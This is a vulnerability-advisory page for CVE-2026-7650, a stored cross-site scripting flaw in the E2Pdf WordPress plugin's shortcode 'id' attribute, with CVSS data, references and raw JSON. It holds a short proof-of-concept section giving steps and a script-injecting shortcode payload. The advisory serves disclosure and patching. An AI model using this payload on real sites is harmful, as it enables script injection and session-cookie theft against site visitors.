Security Vulnerability Report
中文
CVE-2026-7650 CVSS 6.4 MEDIUM

CVE-2026-7650

Published: 2026-05-08 10:16:30
Last Modified: 2026-05-08 15:46:12

Description

The E2Pdf – Export Pdf Tool for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the `e2pdf-download` shortcode in all versions up to, and including, 1.32.17. This is due to insufficient input sanitization and output escaping on the shortcode attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

E2Pdf – Export Pdf Tool for WordPress <= 1.32.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-7650: Stored XSS in E2Pdf WordPress Plugin // Prerequisite: Attacker has Contributor-level access or higher. // 1. Log in to WordPress dashboard. // 2. Create a new Post or Page. // 3. Insert the following shortcode into the content editor: [e2pdf-download id='"><script>alert(document.cookie)</script>'] // 4. Publish the post. // 5. Visit the post page to trigger the XSS.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7650", "sourceIdentifier": "[email protected]", "published": "2026-05-08T10:16:29.577", "lastModified": "2026-05-08T15:46:11.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The E2Pdf – Export Pdf Tool for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the `e2pdf-download` shortcode in all versions up to, and including, 1.32.17. This is due to insufficient input sanitization and output escaping on the shortcode attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/e2pdf/tags/1.32.00/classes/model/e2pdf-shortcode.php#L157", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/e2pdf/tags/1.32.18/classes/model/e2pdf-shortcode.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/e2pdf/trunk/classes/model/e2pdf-shortcode.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3522046/e2pdf/trunk/classes/model/e2pdf-shortcode.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/e2pdf", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/36310ab1-f84e-4154-b782-51254c476d79?source=cve", "source": "[email protected]"}]}}